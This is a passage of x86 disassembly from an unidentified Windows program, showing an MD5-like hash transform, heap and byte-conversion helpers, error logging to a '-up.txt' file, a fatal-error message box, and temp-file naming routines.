add edx, [ebp+var_4] not eax and eax, [ebp+var_4] mov edi, edx and edi, ecx or eax, edi add eax, [ebp+var_14] lea edi, [ebx+eax-275E197Fh] mov eax, edi shr eax, 12h shl edi, 0Eh or eax, edi mov edi, [ebp+var_4] add eax, edx mov ebx, eax and ebx, [ebp+var_4] not edi and edi, edx or edi, ebx mov ebx, edx add edi, [ebp+var_40] lea ecx, [ecx+edi-182C0438h] mov edi, ecx shl edi, 14h shr ecx, 0Ch or edi, ecx mov ecx, edx add edi, eax not ecx and ecx, eax and ebx, edi or ecx, ebx mov ebx, [ebp+var_4] add ecx, [ebp+var_2C] mov [ebp+var_8], edi lea ebx, [ebx+ecx+21E1CDE6h] mov ecx, ebx shr ecx, 1Bh shl ebx, 5 or ecx, ebx mov ebx, eax not ebx add ecx, edi and ebx, edi mov edi, eax and edi, ecx or ebx, edi add ebx, [ebp+var_18] lea edx, [edx+ebx-3CC8F82Ah] mov edi, edx shr edi, 17h shl edx, 9 or edi, edx mov edx, [ebp+var_8] add edi, ecx mov ebx, edi and ebx, [ebp+var_8] not edx and edx, ecx or edx, ebx add edx, [ebp+var_44] lea eax, [eax+edx-0B2AF279h] mov edx, eax shr edx, 12h shl eax, 0Eh or edx, eax mov eax, ecx add edx, edi not eax mov ebx, edx and eax, edi and ebx, ecx or eax, ebx mov ebx, [ebp+var_8] add eax, [ebp+var_30] lea eax, [ebx+eax+455A14EDh] mov ebx, eax shl ebx, 14h shr eax, 0Ch or ebx, eax mov eax, edi add ebx, edx mov [ebp+var_8], ebx not eax mov ebx, edi and eax, edx and ebx, [ebp+var_8] or eax, ebx add eax, [ebp+var_1C] lea ecx, [ecx+eax-561C16FBh] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, edx add eax, [ebp+var_8] mov [ebp+var_4], eax and ecx, [ebp+var_4] mov eax, edx mov ebx, [ebp+var_4] not eax and eax, [ebp+var_8] or eax, ecx mov ecx, [ebp+var_8] add eax, [ebp+var_48] not ecx and ecx, ebx lea edi, [edi+eax-3105C08h] mov eax, edi shr eax, 17h shl edi, 9 or eax, edi add eax, ebx mov edi, eax and edi, [ebp+var_8] or ecx, edi add ecx, [ebp+var_34] lea edx, [edx+ecx+676F02D9h] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, ebx add ecx, eax not edx mov edi, ecx and edx, eax and edi, ebx or edx, edi mov edi, [ebp+var_8] add edx, [ebp+var_20] lea edi, [edi+edx-72D5B376h] mov edx, edi shl edx, 14h shr edi, 0Ch or edx, edi mov edi, eax add edx, ecx xor edi, ecx xor edi, edx add edi, [ebp+var_3C] lea ebx, [ebx+edi-5C6BEh] mov edi, ebx shr edi, 1Ch shl ebx, 4 or edi, ebx mov ebx, ecx add edi, edx xor ebx, edx xor ebx, edi add ebx, [ebp+var_30] lea eax, [eax+ebx-788E097Fh] mov ebx, eax shr ebx, 15h shl eax, 0Bh or ebx, eax add ebx, edi mov eax, ebx xor eax, edx xor eax, edi add eax, [ebp+var_24] lea ecx, [ecx+eax+6D9D6122h] mov eax, ecx shr eax, 10h shl ecx, 10h or eax, ecx mov ecx, ebx add eax, ebx xor ecx, eax mov [ebp+var_C], eax mov eax, ecx xor eax, edi add eax, [ebp+var_18] lea edx, [edx+eax-21AC7F4h] mov eax, edx shl eax, 17h shr edx, 9 or eax, edx add eax, [ebp+var_C] xor ecx, eax add ecx, [ebp+var_4C] lea edi, [edi+ecx-5B4115BCh] mov ecx, edi shr ecx, 1Ch shl edi, 4 or ecx, edi mov edi, [ebp+var_C] mov edx, edi add ecx, eax xor edx, eax xor edx, ecx add edx, [ebp+var_40] lea ebx, [ebx+edx+4BDECFA9h] mov edx, ebx shr edx, 15h shl ebx, 0Bh or edx, ebx add edx, ecx mov ebx, edx mov [ebp+arg_0], edx xor ebx, eax xor ebx, ecx add ebx, [ebp+var_34] lea ebx, [edi+ebx-944B4A0h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx add edi, edx xor [ebp+arg_0], edi mov ebx, [ebp+arg_0] xor ebx, ecx add ebx, [ebp+var_28] lea ebx, [eax+ebx-41404390h] mov eax, ebx shl eax, 17h shr ebx, 9 or eax, ebx mov ebx, [ebp+arg_0] add eax, edi xor ebx, eax add ebx, [ebp+var_1C] lea ebx, [ecx+ebx+289B7EC6h] mov ecx, ebx shr ecx, 1Ch shl ebx, 4 or ecx, ebx mov ebx, edi add ecx, eax xor ebx, eax xor ebx, ecx add ebx, [ebp+var_50] lea edx, [edx+ebx-155ED806h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, ecx mov edx, ebx xor edx, eax xor edx, ecx add edx, [ebp+var_44] lea edx, [edi+edx-2B10CF7Bh] mov edi, edx shr edi, 10h shl edx, 10h or edi, edx mov [ebp+arg_0], ebx add edi, ebx xor [ebp+arg_0], edi mov edx, [ebp+arg_0] xor edx, ecx add edx, [ebp+var_38] lea edx, [eax+edx+4881D05h] mov eax, edx shl eax, 17h shr edx, 9 or eax, edx mov edx, [ebp+arg_0] add eax, edi xor edx, eax add edx, [ebp+var_2C] lea edx, [ecx+edx-262B2FC7h] mov ecx, edx shr ecx, 1Ch shl edx, 4 or ecx, edx mov edx, edi xor edx, eax add ecx, eax xor edx, ecx add edx, [ebp+var_20] lea ebx, [ebx+edx-1924661Bh] mov edx, ebx shr edx, 15h shl ebx, 0Bh or edx, ebx add edx, ecx mov ebx, edx xor ebx, eax xor ebx, ecx add ebx, [ebp+var_14] lea ebx, [edi+ebx+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, ecx add ebx, [ebp+var_48] lea eax, [eax+ebx-3B53A99Bh] mov ebx, eax shl ebx, 17h shr eax, 9 or ebx, eax mov eax, edx add ebx, edi not eax or eax, ebx xor eax, edi add eax, [ebp+var_50] lea eax, [ecx+eax-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [ebp+var_34] lea eax, [edx+eax+432AFF97h] mov edx, eax shr edx, 16h shl eax, 0Ah or edx, eax mov eax, ebx add edx, ecx not eax or eax, edx xor eax, ecx add eax, [ebp+var_18] lea eax, [edi+eax-546BDC59h] mov edi, eax shr edi, 11h shl eax, 0Fh or edi, eax mov eax, ecx add edi, edx push 85845DD1h not eax or eax, edi push 15h xor eax, edx push [ebp+var_4C] add eax, [ebp+var_3C] lea ebx, [ebx+eax-36C5FC7h] mov eax, ebx shl eax, 15h shr ebx, 0Bh or eax, ebx mov ebx, edx add eax, edi not ebx or ebx, eax mov [ebp+var_8], eax xor ebx, edi add ebx, [ebp+var_20] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edi add ebx, eax not ecx or ecx, ebx push ebx xor ecx, eax mov [ebp+var_4], ebx add ecx, [ebp+var_44] not eax lea edx, [edx+ecx-70F3336Eh] mov ecx, edx shr ecx, 16h shl edx, 0Ah or ecx, edx add ecx, ebx or eax, ecx push ecx xor eax, ebx mov [ebp+var_10], ecx add eax, [ebp+var_28] lea eax, [edi+eax-100B83h] mov edx, eax shr edx, 11h shl eax, 0Fh or edx, eax lea eax, [ebp+var_8] add edx, ecx push edx push eax mov [ebp+var_C], edx call sub_508280 push 6FA87E4Fh push 6 push [ebp+var_30] lea eax, [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push [ebp+var_8] push eax call sub_508280 push 0FE2CE6E0h push 0Ah push [ebp+var_14] lea eax, [ebp+var_10] push [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push eax call sub_508280 add esp, 54h push 0A3014314h push 0Fh push [ebp+var_38] lea eax, [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push eax call sub_508280 push 4E0811A1h push 15h push [ebp+var_1C] lea eax, [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push eax call sub_508280 push 0F7537E82h push 6 push [ebp+var_40] lea eax, [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push [ebp+var_8] push eax call sub_508280 add esp, 54h lea eax, [ebp+var_10] push 0BD3AF235h push 0Ah push [ebp+var_24] push [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push eax call sub_508280 push 2AD7D2BBh push 0Fh push [ebp+var_48] lea eax, [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push eax call sub_508280 push 0EB86D391h push 15h push [ebp+var_2C] lea eax, [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push eax call sub_508280 mov eax, [ebp+var_4] add esp, 54h add [esi], eax mov eax, [ebp+var_8] add [esi+4], eax mov eax, [ebp+var_C] add [esi+8], eax mov eax, [ebp+var_10] add [esi+0Ch], eax pop edi pop esi pop ebx leave retn 4 sub_5079D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508280 proc near ; CODE XREF: sub_5079D8+79Cp ; sub_5079D8+7B8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, [ebp+arg_C] mov edx, [ebp+arg_0] not eax or eax, [ebp+arg_4] push esi push 20h xor eax, [ebp+arg_8] pop ecx sub ecx, [ebp+arg_14] add eax, [edx] add eax, [ebp+arg_10] add eax, [ebp+arg_18] mov esi, eax shr esi, cl mov ecx, [ebp+arg_14] shl eax, cl or esi, eax add esi, [ebp+arg_4] mov [edx], esi pop esi pop ebp retn sub_508280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5082B3 proc near ; CODE XREF: sub_50785D+F2p ; sub_50785D+12Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jbe short loc_5082F6 mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_5082CB: ; CODE XREF: sub_5082B3+40j mov dl, [ecx] mov [eax-1], dl mov edx, [ecx] shr edx, 8 mov [eax], dl mov edx, [ecx] shr edx, 10h mov [eax+1], dl mov edx, [ecx] shr edx, 18h mov [eax+2], dl add eax, 4 add ecx, 4 lea edx, [esi+eax] cmp edx, [ebp+arg_8] jb short loc_5082CB pop esi loc_5082F6: ; CODE XREF: sub_5082B3+7j pop ebp retn 0Ch sub_5082B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5082FA proc near ; CODE XREF: sub_5079D8+2Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jbe short loc_50833E mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push esi push edi push 0FFFFFFFEh lea eax, [edx+2] pop esi sub esi, edx loc_508313: ; CODE XREF: sub_5082FA+40j movzx edi, byte ptr [eax-1] xor edx, edx mov dh, [eax+1] mov dl, [eax] add eax, 4 shl edx, 8 or edx, edi movzx edi, byte ptr [eax-6] shl edx, 8 or edx, edi mov [ecx], edx lea edx, [esi+eax] add ecx, 4 cmp edx, [ebp+arg_8] jb short loc_508313 pop edi pop esi loc_50833E: ; CODE XREF: sub_5082FA+7j pop ebp retn 0Ch sub_5082FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508342 proc near ; CODE XREF: _5:004FEC71p _5:004FEC92p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 0 push 0 push 0 push [ebp+var_4] call ds:dword_511778 ; RaiseException leave retn sub_508342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50835A proc near ; CODE XREF: sub_4FD2E0+3C8p ; _5:004FEE70p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx call sub_508397 mov [ebp+var_8], eax cmp [ebp+arg_0], 0 jnz short loc_508371 xor eax, eax jmp short locret_508395 ; --------------------------------------------------------------------------- loc_508371: ; CODE XREF: sub_50835A+11j push [ebp+arg_0] push 8 push [ebp+var_8] call ds:dword_511740 ; RtlAllocateHeap mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_508392 mov ecx, 0EF000009h call sub_508342 loc_508392: ; CODE XREF: sub_50835A+2Cj mov eax, [ebp+var_4] locret_508395: ; CODE XREF: sub_50835A+15j leave retn sub_50835A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508397 proc near ; CODE XREF: sub_50835A+5p ; sub_5083DD:loc_5083E9p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp ds:dword_511A44, 0 jnz short loc_5083C0 push 0 push 10000h push 0 call ds:dword_511748 ; HeapCreate mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ds:dword_511A44, eax jmp short loc_5083C8 ; --------------------------------------------------------------------------- loc_5083C0: ; CODE XREF: sub_508397+Bj mov eax, ds:dword_511A44 mov [ebp+var_4], eax loc_5083C8: ; CODE XREF: sub_508397+27j cmp [ebp+var_4], 0 jnz short loc_5083D8 mov ecx, 0EF00000Dh call sub_508342 loc_5083D8: ; CODE XREF: sub_508397+35j mov eax, [ebp+var_4] leave retn sub_508397 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5083DD proc near ; CODE XREF: _5:004FE1FEp ; sub_4FF00C+10p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_5083E9 jmp short locret_5083FF ; --------------------------------------------------------------------------- loc_5083E9: ; CODE XREF: sub_5083DD+8j call sub_508397 mov [ebp+var_4], eax push [ebp+arg_0] push 0 push [ebp+var_4] call ds:dword_511744 ; RtlFreeHeap locret_5083FF: ; CODE XREF: sub_5083DD+Aj leave retn sub_5083DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508401 proc near ; CODE XREF: sub_50848C+64p ; sub_5084F7+3Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 0 push 0 call ds:dword_5117C4 ; ChangeDisplaySettingsA push 10h push ds:off_50E4F4 push [ebp+var_4] push 0 call ds:dword_5117D0 ; MessageBoxA push 0 call ds:dword_5116E4 ; GetCurrentProcess push eax call ds:dword_511798 ; TerminateProcess leave retn sub_508401 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508436 proc near ; CODE XREF: sub_50848C+52p ; sub_50848C+5Cp ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E500 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_1C], ecx and [ebp+var_4], 0 push [ebp+var_1C] call sub_508538 pop ecx or [ebp+var_4], 0FFFFFFFFh jmp short loc_50847D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_50847D: ; CODE XREF: sub_508436+3Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_508436 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50848C proc near ; CODE XREF: sub_4FF036+C4p ; sub_4FF94C+CDp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 0Ch push offset dword_511A28 call ds:dword_5116C4 ; RtlEnterCriticalSection mov [ebp+var_8], offset dword_511A48 push [ebp+arg_4] push [ebp+arg_0] push offset aErrorAtSDReaso ; "Error at %s:%d\n\nReason: " push [ebp+var_8] call ds:dword_5117D4 ; wsprintfA add esp, 10h mov [ebp+var_C], eax lea eax, [ebp+arg_C] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+var_8] add eax, [ebp+var_C] push eax call ds:dword_5117D8 ; wvsprintfA and [ebp+var_4], 0 mov ecx, [ebp+var_8] call sub_508436 mov ecx, offset asc_510D5C ; "\n" call sub_508436 mov ecx, [ebp+var_8] call sub_508401 leave retn sub_50848C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5084F7 proc near ; CODE XREF: sub_504AB0+128p ; sub_50DAB0+8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], offset dword_511A48 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push [ebp+var_8] call ds:dword_5117D8 ; wvsprintfA and [ebp+var_4], 0 mov ecx, [ebp+var_8] call sub_508436 mov ecx, offset asc_510D5C ; "\n" call sub_508436 mov ecx, [ebp+var_8] call sub_508401 leave retn sub_5084F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508538 proc near ; CODE XREF: sub_508436+30p ; sub_508726+74p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E510 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi push offset dword_511A28 call ds:dword_5116C4 ; RtlEnterCriticalSection and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, offset dword_4FD720 mov eax, [eax+4] mov eax, [eax+78h] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz loc_5086AD push 400h call sub_50835A pop ecx mov [ebp+var_30], eax mov eax, [ebp+var_30] mov [ebp+var_1C], eax push 0 call ds:dword_511718 ; GetModuleHandleA mov ecx, offset dword_4FD720 mov ecx, [ecx+4] mov [ecx+7Ch], eax mov eax, offset dword_4FD720 mov eax, [eax+4] cmp dword ptr [eax+7Ch], 0 jnz short loc_5085C2 jmp loc_5086F6 ; --------------------------------------------------------------------------- loc_5085C2: ; CODE XREF: sub_508538+83j push 400h push [ebp+var_1C] mov eax, offset dword_4FD720 mov eax, [eax+4] push dword ptr [eax+7Ch] call ds:dword_511714 ; GetModuleFileNameA test eax, eax jnz short loc_5085E4 jmp loc_5086F6 ; --------------------------------------------------------------------------- loc_5085E4: ; CODE XREF: sub_508538+A5j mov edi, [ebp+var_1C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_24], ecx push offset aUp_txt ; "-up.txt" mov eax, [ebp+var_1C] add eax, [ebp+var_24] push eax call ds:dword_5117D4 ; wsprintfA pop ecx pop ecx push 0 push 80h push 2 push 0 push 1 push 40000000h push [ebp+var_1C] call ds:dword_5116A8 ; CreateFileA mov ecx, offset dword_4FD720 mov ecx, [ecx+4] mov [ecx+78h], eax mov eax, offset dword_4FD720 mov eax, [eax+4] mov eax, [eax+78h] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_508648 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_508690 loc_508648: ; CODE XREF: sub_508538+108j push offset aUp1_txt ; "-up1.txt" mov eax, [ebp+var_1C] add eax, [ebp+var_24] push eax call ds:dword_5117D4 ; wsprintfA pop ecx pop ecx push 0 push 80h push 2 push 0 push 1 push 40000000h push [ebp+var_1C] call ds:dword_5116A8 ; CreateFileA mov ecx, offset dword_4FD720 mov ecx, [ecx+4] mov [ecx+78h], eax mov eax, offset dword_4FD720 mov eax, [eax+4] mov eax, [eax+78h] mov [ebp+var_20], eax loc_508690: ; CODE XREF: sub_508538+10Ej cmp [ebp+var_20], 0 jz short loc_50869C cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_50869E loc_50869C: ; CODE XREF: sub_508538+15Cj jmp short loc_5086F6 ; --------------------------------------------------------------------------- loc_50869E: ; CODE XREF: sub_508538+162j push 2 push 0 push 0 push [ebp+var_20] call ds:dword_511788 ; SetFilePointer loc_5086AD: ; CODE XREF: sub_508538+4Aj cmp [ebp+var_20], 0FFFFFFFFh jz short loc_5086E7 push 0 lea eax, [ebp+var_28] push eax mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+arg_0] push [ebp+var_20] call ds:dword_5117BC ; WriteFile mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp [ebp+var_28], ecx jz short loc_5086E7 jmp short loc_5086F6 ; --------------------------------------------------------------------------- loc_5086E7: ; CODE XREF: sub_508538+179j ; sub_508538+1ABj ... push 0FFFFFFFFh lea eax, [ebp+var_10] push eax call sub_4FC496 pop ecx pop ecx jmp short loc_508717 ; --------------------------------------------------------------------------- loc_5086F6: ; CODE XREF: sub_508538+85j ; sub_508538+A7j ... and [ebp+var_2C], 0 jmp short loc_5086E7 ; --------------------------------------------------------------------------- loc_5086FC: ; DATA XREF: _6:0050E518o push offset dword_511A28 call ds:dword_511754 ; RtlLeaveCriticalSection mov eax, [ebp+var_1C] mov [ebp+var_34], eax push [ebp+var_34] call sub_5083DD pop ecx retn ; --------------------------------------------------------------------------- loc_508717: ; CODE XREF: sub_508538+1BCj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_508538 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508726 proc near ; CODE XREF: sub_500C5C+345p ; sub_508C27+1Dp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch ; FUNCTION CHUNK AT 005087BB SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E520 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 push 1000h call sub_50835A pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_1C], eax lea eax, [ebp+arg_4] mov [ebp+var_20], eax push [ebp+var_20] push [ebp+arg_0] push [ebp+var_1C] call ds:dword_5117D8 ; wvsprintfA mov [ebp+var_24], eax push offset asc_510D90 ; "\r\n" mov eax, [ebp+var_1C] add eax, [ebp+var_24] push eax call ds:dword_5117D4 ; wsprintfA pop ecx pop ecx and [ebp+var_20], 0 push [ebp+var_1C] call sub_508538 pop ecx or [ebp+var_4], 0FFFFFFFFh call sub_5087AB jmp short loc_5087BB sub_508726 endp ; =============== S U B R O U T I N E ======================================= sub_5087AB proc near ; CODE XREF: sub_508726+7Ep ; DATA XREF: _6:0050E528o mov eax, [ebp-1Ch] mov [ebp-2Ch], eax push dword ptr [ebp-2Ch] call sub_5083DD pop ecx retn sub_5087AB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_508726 loc_5087BB: ; CODE XREF: sub_508726+83j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_508726 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5087CA proc near ; CODE XREF: sub_5061E1+D39p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00508883 SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_50E530 push offset sub_4FC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_20], 0 and [ebp+var_4], 0 push 1000h call sub_50835A pop ecx mov [ebp+var_24], eax mov eax, [ebp+var_24] mov [ebp+var_1C], eax push 0 push 0 lea eax, [ebp+var_20] push eax push 400h call ds:dword_511710 ; RtlGetLastWin32Error push eax push 0 push 1300h call ds:dword_5116DC ; FormatMessageA cmp [ebp+var_20], 0 jz short loc_508859 push [ebp+arg_4] push [ebp+arg_0] push [ebp+var_20] push offset aWindowsErrorSA ; "windows error %s\n at %s(%d)\n" push [ebp+var_1C] call ds:dword_5117D4 ; wsprintfA add esp, 14h push [ebp+var_1C] call sub_508538 pop ecx loc_508859: ; CODE XREF: sub_5087CA+6Aj or [ebp+var_4], 0FFFFFFFFh call sub_508864 jmp short loc_508883 sub_5087CA endp ; =============== S U B R O U T I N E ======================================= sub_508864 proc near ; CODE XREF: sub_5087CA+93p ; DATA XREF: _6:0050E538o cmp dword ptr [ebp-20h], 0 jz short loc_508873 push dword ptr [ebp-20h] call ds:dword_511764 ; LocalFree loc_508873: ; CODE XREF: sub_508864+4j mov eax, [ebp-1Ch] mov [ebp-28h], eax push dword ptr [ebp-28h] call sub_5083DD pop ecx retn sub_508864 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5087CA loc_508883: ; CODE XREF: sub_5087CA+98j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_5087CA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_508892 proc near ; CODE XREF: sub_5058CF+A2p ; sub_5061E1+1F4p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push edi movzx eax, ds:byte_511A40 and eax, 1 test eax, eax jnz short loc_5088BE mov al, ds:byte_511A40 or al, 1 mov ds:byte_511A40, al call ds:dword_5116E8 ; GetCurrentProcessId mov ds:dword_511A20, eax loc_5088BE: ; CODE XREF: sub_508892+13j cmp [ebp+arg_8], 0 jnz short loc_5088CE mov eax, ds:dword_511A20 mov [ebp+var_10], eax jmp short loc_5088D4 ; --------------------------------------------------------------------------- loc_5088CE: ; CODE XREF: sub_508892+30j mov eax, [ebp+arg_8] mov [ebp+var_10], eax loc_5088D4: ; CODE XREF: sub_508892+3Aj mov eax, [ebp+var_10] mov [ebp+var_8], eax push 124h call sub_50835A pop ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax push 49h pop ecx xor eax, eax mov edi, [ebp+var_4] rep stosd push [ebp+var_4] push 104h call ds:dword_511734 ; GetTempPathA movzx eax, [ebp+arg_4] test eax, eax jz short loc_508948 mov eax, ds:dword_515A48 inc eax mov ds:dword_515A48, eax push ds:dword_515A48 push [ebp+arg_0] push [ebp+var_8] push offset aMbx@X@X@X_ ; "MBX@%X@%X@%X.###" mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_4] add eax, ecx push eax call ds:dword_5117D4 ; wsprintfA add esp, 14h jmp short loc_50899B ; --------------------------------------------------------------------------- loc_508948: ; CODE XREF: sub_508892+7Aj cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_508977 push [ebp+arg_0] push [ebp+var_8] push offset aMbx@X@X_ ; "MBX@%X@%X.###" mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_4] add eax, ecx push eax call ds:dword_5117D4 ; wsprintfA add esp, 10h jmp short loc_50899B ; --------------------------------------------------------------------------- loc_508977: ; CODE XREF: sub_508892+BAj push [ebp+var_8] push offset aMbx@X@_ ; "MBX@%X@*.###" mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_4] add eax, ecx push eax call ds:dword_5117D4 ; wsprintfA add esp, 0Ch loc_50899B: ; CODE XREF: sub_508892+B4j ; sub_508892+E3j mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+var_4] call ds:dword_5117C8 ; CharUpperBuffA mov eax, [ebp+var_4] pop edi leave retn sub_508892 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5089B8 proc near ; CODE XREF: sub_508A16+E1p ; sub_508A16+150p arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp movzx eax, [ebp+arg_0] cmp eax, 30h jl short loc_5089D6 movzx eax, [ebp+arg_0] cmp eax, 39h jg short loc_5089D6 movzx eax, [ebp+arg_0] sub eax, 30h jmp short loc_508A14 ; --------------------------------------------------------------------------- loc_5089D6: ; CODE XREF: sub_5089B8+Aj ; sub_5089B8+13j movzx eax, [ebp+arg_0] cmp eax, 41h jl short loc_5089F1 movzx eax, [ebp+arg_0] cmp eax, 46h jg short loc_5089F1 movzx eax, [ebp+arg_0] sub eax, 37h jmp short loc_508A14 ; --------------------------------------------------------------------------- loc_5089F1: ; CODE XREF: sub_5089B8+25j ; sub_5089B8+2Ej movzx eax, [ebp+arg_0] cmp eax, 61h jl short loc_508A0C 